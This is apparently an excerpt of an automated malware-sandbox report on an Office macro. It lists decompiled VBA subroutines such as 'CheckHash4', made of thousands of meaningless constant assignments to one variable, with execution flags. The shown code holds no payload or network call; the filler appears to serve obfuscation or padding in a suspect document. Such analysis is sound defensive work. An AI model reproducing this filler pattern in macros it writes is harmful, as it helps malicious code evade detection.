5323	Y = 63743
5324	Y = 768
5325	Y = 57599
5326	Y = 256
5327	Y = 49407
5328	Y = 256
5329	Y = 33023
5330	Y = 256
5331	Y = 33023
5332	Y = 0
5333	Y = 33023
5334	Y = 0
5335	Y = 33023
5336	Y = 0
5337	Y = 33023
5338	Y = 256
5339	Y = 240
5340	Y = 7936
5341	Y = 240
5342	Y = 7936
5343	Y = 224
5344	Y = 7936
5345	Y = 224
5346	Y = 7936
5347	Y = 224
5348	Y = 7936
5349	Y = 224
5350	Y = 16128
5351	Y = - 532741904
5352	Y = 32512
5353	Y = - 260112136
5354	Y = 32512
5355	Y = - 125894432
5356	Y = 1792
5357	Y = - 117505856
5358	Y = 1792
5359	Y = - 117505856
5360	Y = 1792
5361	Y = - 50396992
5362	Y = 1792
5363	Y = - 50396992
5364	Y = 1792
5365	Y = - 117505856
5366	Y = 1792
5367	Y = - 117505856
5368	Y = 1792
5369	Y = - 125894432
5370	Y = 1792
5371	Y = - 260112136
5372	Y = 32512
5373	Y = - 532741904
5374	Y = 32512
5375	Y = - 1071709984
5376	Y = 16128
5377	Y = - 2146500384
5378	Y = 7936
5379	Y = 131296
5380	Y = 7936
5381	Y = 224
5382	Y = 7936
5383	Y = 240
5384	Y = 7936
5385	Y = 240
5386	Y = 7936
5387	Y = 33023
5388	Y = 16128
5389	Y = 33023
5390	Y = 32512
5391	Y = 33023
5392	Y = 65295
5393	Y = 33023
5394	Y = 65287
5395	Y = 33023
5396	Y = 65287
5397	Y = 33023
5398	Y = 65287
5399	Y = 57599
5400	Y = 65295
5401	Y = 8454143
5402	Y = 65343
5403	Y = 532742143
5404	Y = 65535
5405	Y = - 1
5406	Y = 65535
5407	Y = - 1
5408	Y = 65535
5409	Y = - 1
5410	Y = 65535
5411	Y = - 1
5412	Y = 65535
5413	Y = 40
5414	Y = 32
5415	Y = 64
5416	Y = 2097153
5417	Y = 0
5418	Y = 4224
5419	For I = 1 To 18
5420	Y = 0
5421	Next
5422	Y = 106124118
5423	Y = 240342102
5424	Y = 240407895
5425	Y = 122967383
5426	Y = 23290984
5427	Y = 0
5428	Y = 71517254
5429	Y = 155205955
5430	Y = 155140162
5431	Y = 88031297
5432	For I = 1 To 18
5433	Y = 0
5434	Next
5435	Y = 57569395
5436	Y = 88623434
5437	Y = 289950026
5438	Y = 658982729
5439	Y = 1227697453
5440	Y = 1697196329
5441	Y = 1646798888
5442	Y = 992684843
5443	Y = 289621061
5444	Y = 188760129
5445	Y = 523317553
5446	Y = 925970737
5447	Y = 909193521
5448	Y = 607203633
5449	Y = 138033980
5450	For I = 1 To 2
5451	Y = 0
5452	Next
5453	Y = 20001075
5454	Y = 19869487
5455	For I = 1 To 11
5456	Y = 0
5457	Next
5458	Y = 90663019
5459	Y = 205734724
5460	Y = 841953071
5461	Y = 1278226480
5462	Y = - 1788714138
5463	Y = - 206063166
5464	Y = - 21842756
5465	Y = - 27369629
5466	Y = - 63029182
5467	Y = - 1154469582
5468	Y = 1798649141
5469	Y = 1849704513
5470	Y = 2117021487
5471	Y = - 1624297680
5472	Y = - 1926353362
5473	Y = 1798320176
5474	Y = 741421361
5475	Y = 288633909
5476	Y = 254882098
5477	Y = 338768177
5478	Y = 355545393
5479	Y = 204418863
5480	Y = 53358126
5481	For I = 1 To 7
5482	Y = 0
5483	Next
5484	Y = 40791922
5485	Y = 407522124
5486	Y = 1449025377
5487	Y = 1379482170
5488	Y = - 1808781262
5489	Y = - 1406128079
5490	Y = - 528185974
5491	Y = - 4210230
5492	Y = - 4341560
5493	Y = - 9605261
5494	Y = - 12631996
5495	Y = - 634112970
5496	Y = - 1051042978
5497	Y = - 426337888
5498	Y = - 496407953
5499	Y = - 280738230
5500	Y = - 801621700
5501	Y = - 1909641938
5502	Y = 1378889776
5503	Y = 993079601
5504	Y = 909127728
5505	Y = 976236592
5506	Y = 925970737
5507	Y = 640758065
5508	Y = 187641648
5509	Y = 19737901
5510	For I = 1 To 6
5511	Y = 0
5512	Next
5513	Y = 809846086
5514	Y = - 1315267424
5515	Y = - 3552046
5516	Y = - 124348001
5517	Y = - 11512998
5518	Y = - 230472376
5519	Y = - 123427156
5520	Y = - 4078388
5521	Y = - 4144437
5522	Y = - 7236711
5523	Y = - 10855326
5524	Y = - 229090721
5525	Y = - 71977025
5526	Y = - 4670525
5527	Y = - 4999490
5528	Y = - 9144192
5529	Y = - 44606362
5530	Y = - 1573636550
5531	Y = 1194274607
5532	Y = 1177628977
5533	Y = 1211183409
5534	Y = 1194406193
5535	Y = 1043411249
5536	Y = 724644145
5537	Y = 221393459
5538	Y = 37041462
5539	For I = 1 To 6
5540	Y = 0
5541	Next
5542	Y = 1213354836
5543	Y = - 541410112
5544	Y = - 3420461
5545	Y = - 3749425
5546	Y = - 6775904
5547	Y = - 22960983
5548	Y = - 20921142
5549	Y = - 3946802
5550	Y = - 4078388
5551	Y = - 4538940
5552	Y = - 5657421
5553	Y = - 22237513
5554	Y = - 4407609
5555	Y = - 4538939
5556	Y = - 5854799
5557	Y = - 10789016
5558	Y = - 246985640
5559	Y = 1797004833
5560	Y = 405811248
5561	Y = 523317553
5562	Y = 691089713
5563	Y = 758198577
5564	Y = 691089713
5565	Y = 489763121
5566	Y = 187970613
5567	Y = 54082107
5568	For I = 1 To 6
5569	Y = 0
5570	Next
5571	Y = 609506646
5572	Y = - 1029528408
5573	Y = - 3223339
5574	Y = - 3354668
5575	Y = - 3749425
5576	Y = - 4276025
5577	Y = - 4867905
5578	Y = - 5262407
5579	Y = - 5657422
5580	Y = - 6117716
5581	For I = 1 To 2
5582	Y = - 6644058
5583	Next
5584	Y = - 5393991
5585	Y = - 4538938
5586	Y = - 7302245
5587	Y = - 14078407
5588	Y = - 686219736
5589	Y = 1141574669
5590	Y = 374494038
5591	Y = 322912579
5592	Y = 421535776
5593	Y = 287647013
5594	Y = 221854266
5595	Y = 171456569
5596	Y = 71254081
5597	Y = 20527418
5598	For I = 1 To 3
5599	Y = 0
5600	Next
5601	Y = 141323630
5602	Y = 458643288
5603	Y = 424365133
5604	Y = 1010515005
5605	Y = - 1181707884
5606	Y = - 3157289
5607	Y = - 3749425
5608	Y = - 4538685
5609	Y = - 3881012
5610	Y = - 3420461
5611	Y = - 3091497
5612	Y = - 2828581
5613	Y = - 2960167
5614	Y = - 3552304
5615	Y = - 4670528
5616	Y = - 7367781
5617	Y = - 6775643
5618	Y = - 5591370
5619	Y = - 11447204
5620	Y = - 231459009
5621	Y = - 1135257764
5622	Y = - 1216643710
5623	Y = - 1490145228
5624	Y = - 1390337238
5625	Y = 1057754382
5626	Y = 38489167
5627	Y = 21382728
5628	For I = 1 To 4
5629	Y = 0
5630	Next
5631	Y = 141718645
5632	Y = 1566729060
5633	Y = - 389428530
5634	Y = - 845834343
5635	Y = - 74542956
5636	Y = - 37040943
5637	Y = - 3749683
5638	Y = - 4209977
5639	Y = - 3157546
5640	Y = - 3815476
5641	Y = - 23224412
5642	Y = - 176653698
5643	Y = - 714972314
5644	Y = - 864125054
5645	Y = - 508053317
5646	Y = - 103294499
5647	Y = - 2894375
5648	Y = - 6051923
5649	Y = - 7170401
5650	Y = - 5065539
5651	Y = - 4407352
5652	Y = - 4473402
5653	Y = - 4604732
5654	Y = - 8025970
5655	Y = - 9538953
5656	Y = - 1235986598
5657	Y = 253237273
5658	For I = 1 To 5
5659	Y = 0
5660	Next
5661	Y = 461406594
5662	Y = - 1247434839
5663	Y = - 2499361
5664	Y = - 2565410
5665	Y = - 2696739
5666	Y = - 3157290
5667	Y = - 4144185
5668	Y = - 2960167
5669	Y = - 5131079
5670	Y = - 7301991
5671	Y = - 1050647449
5672	Y = 1899181366
5673	Y = 1227829040
5674	Y = 1043279663
5675	Y = 1413760325
5676	Y = - 1736014200
5677	Y = - 119676958
5678	Y = - 2368032
5679	Y = - 6907230
5680	Y = - 6578521
5681	Y = - 4275767
5682	Y = - 4341816
5683	Y = - 4473145
5684	Y = - 5131333
5685	Y = - 4999494
5686	Y = - 290343752
5687	Y = 404429596
5688	For I = 1 To 5
5689	Y = 0
5690	Next
5691	Y = 445484688
5692	Y = - 1718183783
5693	Y = - 69542689
5694	Y = - 2433568
5695	Y = - 2696996
5696	Y = - 4078392
5697	Y = - 3420462
5698	Y = - 5065287
5699	Y = - 141453412
5700	Y = - 1571201696
5701	Y = 372783418
5702	Y = 189549902
5703	Y = 273699155
5704	Y = 223433299
5705	Y = 139744598
5706	Y = 257185111
5707	Y = 1920695420
5708	Y = - 337978402
5709	Y = - 2959912
5710	Y = - 7696745
5711	Y = - 4999490
5712	Y = - 4209974
5713	Y = - 5920850
5714	Y = - 7302249
5715	Y = - 712866424
5716	Y = 1377639967
5717	Y = 87504955
5718	For I = 1 To 5
5719	Y = 0
5720	Next
5721	Y = 77373088
5722	Y = 660167258
5723	Y = - 1146968922
5724	Y = - 69542432
5725	Y = - 3025705
5726	Y = - 3749170
5727	Y = - 4670785
5728	Y = - 5460043
5729	Y = - 982946703
5730	Y = 726421072
5731	Y = 26383769
5732	Y = 26120597
5733	Y = 42765970
5734	Y = 26120340
5735	For I = 1 To 2
5736	Y = 0
5737	Next
5738	Y = 443116140
5739	Y = - 1549227606
5740	Y = - 1578774
5741	Y = - 5262664
5742	Y = - 6973022
5743	Y = - 4802368
5744	Y = - 10131346
5745	Y = - 77174416
5746	Y = 1545017368
5747	Y = 171193399
5748	For I = 1 To 6
5749	Y = 0
5750	Next
5751	Y = 27172769
5752	Y = 209945990
5753	Y = - 1904772999
5754	Y = - 69410847
5755	For I = 1 To 2
5756	Y = - 3486255
5757	Next
5758	Y = - 8552313
5759	Y = - 42961540
5760	Y = 1277042466
5761	Y = 74543990
5762	For I = 1 To 6
5763	Y = 0
5764	Next
5765	Y = 27041699
5766	Y = 762278002
5767	Y = - 185733650
5768	Y = - 2631203
5769	Y = - 7499366
5770	Y = - 4670269
5771	Y = - 12894907
5772	Y = - 13750213
5773	Y = 1561070863
5774	Y = 288831546
5775	Y = 89083988
5776	Y = 23225448
5777	For I = 1 To 3
5778	Y = 0
5779	Next
5780	Y = 91452533
5781	Y = 777607770
5782	Y = 1717987175
5783	Y = - 810372171
5784	Y = - 2038811
5785	Y = - 3617841
5786	Y = - 4868165
5787	Y = - 12038571
5788	Y = - 365610174
5789	Y = 456208947
5790	For I = 1 To 8
5791	Y = 0
5792	Next
5793	Y = 240605273
5794	Y = - 706945570
5795	Y = - 1447188
5796	Y = - 7235938
5797	Y = - 5065284
5798	Y = - 7302246
5799	Y = - 9802380
5800	Y = - 699839664
5801	Y = - 1573899978
5802	Y = 1646141475
5803	Y = 488579105
5804	For I = 1 To 3
5805	Y = 0
5806	Next
5807	Y = 542792539
5808	Y = - 236854300
5809	Y = - 1709847
5810	Y = - 1775896
5811	Y = - 1841689
5812	Y = - 3815220
5813	Y = - 4538944
5814	Y = - 10459282
5815	Y = - 1219801260
5816	Y = 204484914
5817	For I = 1 To 8
5818	Y = 0
5819	Next
5820	Y = 27501994
5821	Y = - 1733316689
5822	Y = - 328966
5823	Y = - 7104609
5824	Y = - 5525578
5825	Y = - 3749168
5826	Y = - 3880754
5827	Y = - 3946802
5828	Y = - 6973026
5829	Y = - 7104354
5830	Y = 2016490036
5831	For I = 1 To 3
5832	Y = 0
5833	Next
5834	Y = 677075803
5835	Y = - 1446932
5836	Y = - 1578261
5837	Y = - 1644310
5838	Y = - 1710103
5839	Y = - 3683634
5840	Y = - 4275772
5841	Y = - 6314581
5842	Y = - 1352440214
5843	Y = 170930482
5844	For I = 1 To 9
5845	Y = 0
5846	Next
5847	Y = - 2020503151
5848	Y = - 197380
5849	Y = - 6841438
5850	Y = - 5394249
5851	Y = - 3552303
5852	Y = - 3683632
5853	Y = - 3814961
5854	Y = - 7038820
5855	Y = - 7038561
5856	Y = 2133930805
5857	For I = 1 To 3
5858	Y = 0
5859	Next
5860	Y = 375086172
5861	Y = - 1280462929
5862	Y = - 657929781
5863	Y = - 170008608
5864	Y = - 1578518
5865	Y = - 3552049
5866	Y = - 4407357
5867	Y = - 5788750
5868	Y = - 914719102
5869	Y = 271725364
5870	For I = 1 To 8
5871	Y = 0
5872	Next
5873	Y = 93558168
5874	Y = - 1464091717
5875	Y = - 789259
5876	Y = - 6775645
5877	Y = - 5130821
5878	Y = - 3617840
5879	Y = - 4407355
5880	Y = - 38553668
5881	Y = - 208825963
5882	Y = - 662731896
5883	Y = 1546070058
5884	For I = 1 To 3
5885	Y = 0
5886	Next
5887	Y = 43358103
5888	Y = 443839862
5889	Y = 1095585358
5890	Y = - 1129797206
5891	Y = - 1446932
5892	Y = - 3157291
5893	Y = - 3815220
5894	Y = - 6775389
5895	Y = - 226129264
5896	Y = 540160820
5897	For I = 1 To 8
5898	Y = 0
5899	Next
5900	Y = 308043102
5901	Y = - 639770913
5902	Y = - 1644567
5903	Y = - 6380888
5904	Y = - 4341562
5905	Y = - 7762542
5906	Y = - 8551544
5907	Y = - 1303950515
5908	Y = 1764371245
5909	Y = 991698206
5910	Y = 288699960
5911	For I = 1 To 5
5912	Y = 0
5913	Next
5914	Y = 144087193
5915	Y = - 1971816327
5916	Y = - 85398805
5917	Y = - 2630948
5918	Y = - 2433825
5919	Y = - 7104355
5920	Y = - 8683384
5921	Y = 2065967147
5922	Y = 191260778
5923	For I = 1 To 6
5924	Y = 0
5925	Next
5926	Y = 94742185
5927	Y = 1333558398
5928	Y = - 68029966
5929	Y = - 3025962
5930	Y = - 5920337
5931	Y = - 3881012
5932	Y = - 12103336
5933	Y = - 45854632
5934	Y = 1107823116
5935	Y = 55924570
5936	For I = 1 To 6
5937	Y = 0
5938	Next
5939	Y = 110532504
5940	Y = 1012554330
5941	Y = - 657732147
5942	Y = - 34803986
5943	Y = - 1973019
5944	Y = - 3025706
5945	Y = - 4012600
5946	Y = - 8683642
5947	Y = - 699509927
5948	Y = 1076965940
5949	Y = 44082086
5950	For I = 1 To 5
5951	Y = 0
5952	Next
5953	Y = 627073121
5954	Y = - 1229408071
5955	Y = - 1447188
5956	Y = - 4473149
5957	Y = - 4670527
5958	Y = - 3354669
5959	Y = - 10064526
5960	Y = - 45131682
5961	Y = 2115772193
5962	Y = 287055134
5963	For I = 1 To 6
5964	Y = 0
5965	Next
5966	Y = 563912094
5967	Y = - 1060714296
5968	Y = - 920589
5969	Y = - 1052175
5970	Y = - 1183761
5971	Y = - 2762534
5972	Y = - 2367777
5973	Y = - 4078394
5974	Y = - 9604744
5975	Y = - 615887275
5976	Y = 1194735417
5977	Y = 191984500
5978	For I = 1 To 2
5979	Y = 0
5980	Next
5981	Y = 143297677
5982	Y = 710959201
5983	Y = - 1381455446
5984	Y = - 85267475
5985	Y = - 3223340
5986	Y = - 4867650
5987	For I = 1 To 2
5988	Y = - 2762789
5989	Next
5990	Y = - 3881013
5991	Y = - 8025715
5992	Y = - 178363286
5993	Y = - 1707919815
5994	Y = 220604200
5995	For I = 1 To 5
5996	Y = 0
5997	Next
5998	Y = 361138055
5999	Y = - 1515607382
6000	Y = - 789004
6001	Y = - 920589
6002	Y = - 986382
6003	Y = - 1381139
6004	Y = - 3091498
6005	Y = - 1841690
6006	Y = - 4078394
6007	Y = - 8157300
6008	Y = - 582332844
6009	Y = - 1657588422
6010	Y = 1179603026
6011	Y = 945116759
6012	Y = 1834769758
6013	Y = - 1095584844
6014	Y = - 68555796
6015	Y = - 2104861
6016	Y = - 4144183
6017	Y = - 3157291
6018	Y = - 2565154
6019	Y = - 2631203
6020	Y = - 2762532
6021	Y = - 4473151
6022	Y = - 8946556
6023	Y = - 311199873
6024	Y = 421733414
6025	For I = 1 To 5
6026	Y = 0
6027	Next
6028	Y = 59279753
6029	Y = 810964566
6030	Y = - 1583176797
6031	Y = - 2057018011
6032	Y = - 1050121877
6033	Y = - 389165105
6034	Y = - 1512725
6035	Y = - 2894120
6036	Y = - 2104605
6037	Y = - 1315090
6038	Y = - 2828584
6039	Y = - 4670787
6040	Y = - 72108617
6041	Y = - 104084017
6042	Y = - 1249553
6043	Y = - 1447188
6044	Y = - 2762533
6045	Y = - 3354669
6046	Y = - 2433825
6047	Y = - 4276029
6048	Y = - 21381952
6049	Y = - 121453368
6050	Y = - 70332204
6051	Y = - 192312175
6052	Y = - 142375025
6053	Y = - 2076492735
6054	Y = 120993850
6055	For I = 1 To 6
6056	Y = 0
6057	Next
6058	End Sub

Subroutine
CheckHash4APIs: 0, Strings: 0, Number of lines: 718, Relevance: 0.718

Line	Instruction	Meta Information
4595	Private Sub CheckHash4()
4596	For I = 1 To 5	executed
4597	Y = 0
4598	Next
4599	Y = 1026699826
4600	Y = - 1381139
4601	Y = - 1446932
4602	Y = - 1512725
4603	Y = - 1578517
4604	Y = - 1644310
4605	Y = - 1710103
4606	Y = - 4472893
4607	Y = - 1973275
4608	Y = - 5328459
4609	For I = 1 To 2
4610	Y = - 5130564
4611	Next
4612	Y = - 2025502902
4613	Y = 268435456
4614	For I = 1 To 14
4615	Y = 0
4616	Next
4617	Y = 1247303768
4618	For I = 1 To 2
4619	Y = - 197380
4620	Next
4621	Y = - 5591372
4622	Y = - 9209983
4623	Y = - 3420717
4624	Y = - 3486510
4625	Y = - 3552303
4626	Y = - 3618095
4627	Y = - 3683632
4628	Y = - 3814961
4629	Y = - 8617852
4630	For I = 1 To 2
4631	Y = - 7038561
4632	Next
4633	Y = 1056964608
4634	For I = 1 To 5
4635	Y = 0
4636	Next
4637	Y = 724709938
4638	Y = - 505552672
4639	Y = - 1380883
4640	Y = - 1446931
4641	Y = - 1446932
4642	Y = - 1578261
4643	Y = - 1644054
4644	Y = - 4407101
4645	Y = - 2170397
4646	Y = - 5657424
4647	Y = - 5525578
4648	Y = - 5591371
4649	Y = - 1688774051
4650	Y = 335544320
4651	For I = 1 To 13
4652	Y = 0
4653	Next
4654	Y = 70398514
4655	Y = 1754041484
4656	Y = - 460551
4657	Y = - 526344
4658	Y = - 5788751
4659	Y = - 9144190
4660	Y = - 3354668
4661	Y = - 3420461
4662	Y = - 3486253
4663	Y = - 3552046
4664	Y = - 3617839
4665	Y = - 3683632
4666	Y = - 8288886
4667	For I = 1 To 2
4668	Y = - 7038561
4669	Next
4670	Y = 822083584
4671	For I = 1 To 5
4672	Y = 0
4673	Next
4674	Y = 221393458
4675	Y = 825373234
4676	Y = 1785753713
4677	Y = - 1668247150
4678	Y = - 726222663
4679	Y = - 1446932
4680	Y = - 1512725
4681	Y = - 3617841
4682	Y = - 2630947
4683	Y = - 4802116
4684	Y = - 5920337
4685	Y = - 6512473
4686	Y = - 729708918
4687	Y = 536870912
4688	For I = 1 To 13
4689	Y = 0
4690	Next
4691	Y = 271725106
4692	Y = - 1463696958
4693	Y = - 789259
4694	Y = - 1381395
4695	Y = - 5920337
4696	Y = - 7499111
4697	Y = - 3223339
4698	Y = - 3289131
4699	Y = - 4999750
4700	Y = - 6512733
4701	Y = - 7170406
4702	Y = - 192838263
4703	Y = - 797804935
4704	Y = - 1536989334
4705	Y = 1530608959
4706	Y = 318767104
4707	For I = 1 To 6
4708	Y = 0
4709	Next
4710	Y = 53621298
4711	Y = 221393458
4712	Y = 607269426
4713	Y = 2121298290
4714	Y = - 1380883
4715	Y = - 1446931
4716	Y = - 3025705
4717	Y = - 3157548
4718	Y = - 3880756
4719	Y = - 6840926
4720	Y = - 7433318
4721	Y = - 125991798
4722	Y = 922746880
4723	Y = 50331648
4724	For I = 1 To 12
4725	Y = 0
4726	Next
4727	Y = 556937778
4728	Y = - 673325602
4729	Y = - 920845
4730	Y = - 2302496
4731	Y = - 6446424
4732	Y = - 6117716
4733	Y = - 3157545
4734	Y = - 9472904
4735	Y = - 10130062
4736	Y = - 9669253
4737	Y = - 1305134532
4738	Y = 1174865671
4739	Y = 637731587
4740	Y = 385875968
4741	Y = 167772160
4742	Y = 33554432
4743	For I = 1 To 8
4744	Y = 0
4745	Next
4746	Y = 103952946
4747	Y = 1244803634
4748	Y = - 253499930
4749	Y = - 1315346
4750	Y = - 2236447
4751	Y = - 3815220
4752	Y = - 1512724
4753	Y = - 7367271
4754	Y = - 8354163
4755	Y = - 8617335
4756	Y = - 2044384722
4757	Y = 285212672
4758	For I = 1 To 11
4759	Y = 0
4760	Next
4761	Y = 120730162
4762	Y = 1213091406
4763	Y = - 118295821
4764	Y = - 789259
4765	Y = - 3486512
4766	Y = - 6841438
4767	Y = - 4670270
4768	Y = - 3091496
4769	Y = - 11840422
4770	Y = - 12431528
4771	Y = - 12365735
4772	Y = 1695815707
4773	Y = 134217728
4774	For I = 1 To 11
4775	Y = 0
4776	Next
4777	Y = 36844082
4778	Y = 439497266
4779	Y = 1969513572
4780	Y = - 253434394
4781	Y = - 1249553
4782	Y = - 1315346
4783	Y = - 4078135
4784	Y = - 1973275
4785	Y = - 4670273
4786	Y = - 8288628
4787	Y = - 9209985
4788	Y = - 212115096
4789	Y = 905969664
4790	Y = 100663296
4791	For I = 1 To 9
4792	Y = 0
4793	Next
4794	Y = 36844082
4795	Y = 540160562
4796	Y = - 1111177785
4797	Y = - 1052430
4798	Y = - 1184017
4799	Y = - 5196871
4800	Y = - 6710109
4801	Y = - 2894374
4802	Y = - 4999493
4803	Y = - 12301231
4804	Y = - 11774370
4805	Y = - 146452650
4806	Y = 1392508928
4807	Y = 184549376
4808	For I = 1 To 10
4809	Y = 0
4810	Next
4811	Y = 36844082
4812	Y = 439497266
4813	Y = 1835822188
4814	Y = - 253236502
4815	Y = - 1117711
4816	Y = - 1183504
4817	Y = - 1249297
4818	Y = - 2893863
4819	Y = - 3354670
4820	Y = - 1315346
4821	Y = - 6446683
4822	Y = - 9538951
4823	Y = - 10131087
4824	Y = - 1170324664
4825	Y = 603979776
4826	Y = 83886080
4827	For I = 1 To 7
4828	Y = 0
4829	Next
4830	Y = 20066866
4831	Y = 305279538
4832	Y = 1954644354
4833	Y = - 84938511
4834	Y = - 986894
4835	Y = - 2828583
4836	Y = - 5657422
4837	Y = - 4933699
4838	Y = - 2828325
4839	Y = - 2894118
4840	Y = - 7630957
4841	Y = - 11577764
4842	Y = - 11116955
4843	Y = - 717142196
4844	Y = 922746880
4845	Y = 150994944
4846	For I = 1 To 9
4847	Y = 0
4848	Next
4849	Y = 120730162
4850	Y = 1501791107
4851	Y = - 253039380
4852	Y = - 920589
4853	Y = - 986382
4854	Y = - 1052175
4855	Y = - 1117968
4856	Y = - 1381139
4857	Y = - 4012086
4858	Y = - 1907482
4859	Y = - 2302241
4860	Y = - 6907235
4861	Y = - 10328465
4862	Y = - 10986395
4863	Y = - 1371848892
4864	Y = 654311424
4865	Y = 100663296
4866	For I = 1 To 5
4867	Y = 0
4868	Next
4869	Y = 53621298
4870	Y = 355611186
4871	Y = 1532911198
4872	Y = - 371006492
4873	Y = - 1184016
4874	Y = - 1446931
4875	Y = - 4998980
4876	Y = - 5328457
4877	Y = - 2894118
4878	Y = - 2762532
4879	Y = - 2762789
4880	Y = - 2828582
4881	Y = - 7368041
4882	Y = - 11117728
4883	Y = - 10525333
4884	Y = - 733458862
4885	Y = 1023410176
4886	Y = 201326592
4887	For I = 1 To 8
4888	Y = 0
4889	Next
4890	Y = 103952946
4891	Y = 1466460264
4892	Y = - 789003
4893	Y = - 854796
4894	Y = - 920589
4895	Y = - 986382
4896	Y = - 1052174
4897	Y = - 1117967
4898	Y = - 2433569
4899	Y = - 3617585
4900	Y = - 1578261
4901	Y = - 1315347
4902	Y = - 6512734
4903	Y = - 9999501
4904	Y = - 11709863
4905	Y = - 783856559
4906	Y = 956301312
4907	Y = 318767104
4908	Y = 67108864
4909	Y = 0
4910	Y = 36844082
4911	Y = 221393458
4912	Y = 724709938
4913	Y = 2088335994
4914	Y = - 253499930
4915	Y = - 1184017
4916	Y = - 1118223
4917	Y = - 4144440
4918	Y = - 4867907
4919	Y = - 3552304
4920	Y = - 2565410
4921	Y = - 2631203
4922	Y = - 2696996
4923	Y = - 2762788
4924	Y = - 2828581
4925	Y = - 5065031
4926	Y = - 9801867
4927	Y = - 9209472
4928	Y = - 395940750
4929	Y = 620756992
4930	For I = 1 To 8
4931	Y = 0
4932	Next
4933	Y = 36844082
4934	Y = 758264370
4935	Y = - 925772846
4936	Y = - 723211
4937	Y = - 789004
4938	Y = - 854797
4939	Y = - 920589
4940	Y = - 986382
4941	Y = - 1052175
4942	Y = - 2959913
4943	Y = - 3354927
4944	Y = - 1381140
4945	Y = - 1183760
4946	Y = - 4275774
4947	Y = - 7762799
4948	Y = - 10723224
4949	Y = - 78555811
4950	Y = - 867480236
4951	Y = 1998791720
4952	Y = 1276779034
4953	Y = 1479553329
4954	Y = - 2142285743
4955	Y = - 877086534
4956	Y = - 1184016
4957	Y = - 1315346
4958	Y = - 1249810
4959	Y = - 3223084
4960	Y = - 4275769
4961	Y = - 3288876
4962	Y = - 2433568
4963	Y = - 2499361
4964	Y = - 2565154
4965	Y = - 2630947
4966	Y = - 2696739
4967	Y = - 2762532
4968	Y = - 5394509
4969	Y = - 8815227
4970	Y = - 7959917
4971	Y = - 495881092
4972	Y = 637534208
4973	For I = 1 To 9
4974	Y = 0
4975	Next
4976	Y = 254947890
4977	Y = 1533437798
4978	Y = - 252776209
4979	Y = - 1196050762
4980	Y = - 1284608145
4981	Y = - 76582538
4982	Y = - 121124663
4983	Y = - 986382
4984	Y = - 1052174
4985	Y = - 3157035
4986	Y = - 3223084
4987	Y = - 1578261
4988	Y = - 1117968
4989	Y = - 1183504
4990	Y = - 2894120
4991	Y = - 5197130
4992	Y = - 6973541
4993	Y = - 74411114
4994	Y = - 157178714
4995	Y = - 137836085
4996	Y = - 1249552
4997	Y = - 1118224
4998	Y = - 1249809
4999	Y = - 1381139
5000	Y = - 3617585
5001	Y = - 3880755
5002	Y = - 2499617
5003	Y = - 2236446
5004	Y = - 3157549
5005	Y = - 2368032
5006	Y = - 2433824
5007	Y = - 2499617
5008	Y = - 2565410
5009	Y = - 2631203
5010	Y = - 8947073
5011	Y = - 7959918
5012	Y = - 7630952
5013	Y = 1814571308
5014	Y = 251658240
5015	For I = 1 To 9
5016	Y = 0
5017	Next
5018	Y = 36844082
5019	Y = 305279538
5020	Y = 691155506
5021	Y = 690958127
5022	Y = 639376412
5023	Y = 1007883027
5024	Y = 2000173369
5025	Y = - 438575652
5026	Y = - 920589
5027	Y = - 1051918
5028	Y = - 2696998
5029	Y = - 4078135
5030	Y = - 2236192
5031	Y = - 1052431
5032	Y = - 1117967
5033	Y = - 1117968
5034	Y = - 1117967
5035	Y = - 1117968
5036	Y = - 1183760
5037	Y = - 1184016
5038	Y = - 1184017
5039	Y = - 1315346
5040	Y = - 2170654
5041	Y = - 4143927
5042	Y = - 3354926
5043	Y = - 2039067
5044	Y = - 2104860
5045	Y = - 2960169
5046	Y = - 9078402
5047	Y = - 9275780
5048	Y = - 41580403
5049	Y = - 509829471
5050	Y = - 2499617
5051	Y = - 595228791
5052	Y = - 479959187
5053	Y = - 7762281
5054	Y = - 1201708439
5055	Y = 587202560
5056	Y = 33554432
5057	For I = 1 To 14
5058	Y = 0
5059	Next
5060	Y = 53621298
5061	Y = 1093808690
5062	Y = - 488578334
5063	Y = - 854796
5064	Y = - 920589
5065	Y = - 986382
5066	Y = - 1775897
5067	Y = - 3486256
5068	Y = - 3814964
5069	Y = - 2762535
5070	Y = - 1907482
5071	Y = - 1381395
5072	Y = - 1184016
5073	Y = - 1380882
5074	Y = - 1973019
5075	Y = - 2828326
5076	Y = - 3946550
5077	Y = - 3946293
5078	Y = - 2499105
5079	Y = - 1907225
5080	Y = - 1973018
5081	Y = - 2038811
5082	Y = - 9144452
5083	Y = - 8354420
5084	Y = - 7959404
5085	Y = - 1741737933
5086	Y = 1176510496
5087	Y = 1212828491
5088	Y = 907943454
5089	Y = 856098567
5090	Y = 1126179107
5091	Y = 553648128
5092	Y = 117440512
5093	For I = 1 To 15
5094	Y = 0
5095	Next
5096	Y = 204616242
5097	Y = 1769042545
5098	Y = - 723210
5099	Y = - 789003
5100	Y = - 854796
5101	For I = 1 To 2
5102	Y = - 920589
5103	Next
5104	Y = - 1051918
5105	Y = - 1841433
5106	Y = - 2828070
5107	Y = - 3420207
5108	Y = - 4144185
5109	Y = - 4144441
5110	Y = - 4209979
5111	Y = - 3486512
5112	Y = - 3091242
5113	Y = - 2236447
5114	Y = - 1644310
5115	Y = - 1710103
5116	Y = - 1775896
5117	Y = - 1841689
5118	Y = - 1907482
5119	Y = - 8881023
5120	Y = - 8156527
5121	Y = - 7761768
5122	Y = - 2144259017
5123	Y = 302187267
5124	Y = 36844082
5125	Y = 20066866
5126	Y = 16777216
5127	Y = 33554432
5128	Y = 16777216
5129	For I = 1 To 16
5130	Y = 0
5131	Next
5132	Y = 456274482
5133	Y = - 1784766561
5134	Y = - 591625
5135	Y = - 657418
5136	Y = - 723211
5137	Y = - 789003
5138	Y = - 1775898
5139	Y = - 920589
5140	Y = - 986382
5141	Y = - 1052175
5142	Y = - 1117968
5143	Y = - 1183760
5144	Y = - 1249553
5145	Y = - 1315346
5146	Y = - 1381139
5147	Y = - 1446932
5148	Y = - 1512725
5149	Y = - 1578517
5150	Y = - 1644310
5151	Y = - 1710103
5152	Y = - 1775896
5153	Y = - 1841689
5154	Y = - 5855061
5155	Y = - 6710111
5156	Y = - 5722958
5157	Y = - 914916738
5158	Y = 553648128
5159	For I = 1 To 21
5160	Y = 0
5161	Next
5162	Y = 489828914
5163	Y = - 1143876911
5164	Y = - 525832
5165	Y = - 591625
5166	Y = - 657418
5167	Y = - 1578519
5168	Y = - 7434093
5169	Y = - 7368300
5170	Y = - 23619430
5171	Y = - 119479582
5172	Y = - 1052174
5173	Y = - 1117711
5174	Y = - 1183504
5175	Y = - 1249297
5176	Y = - 2894378
5177	Y = - 4539203
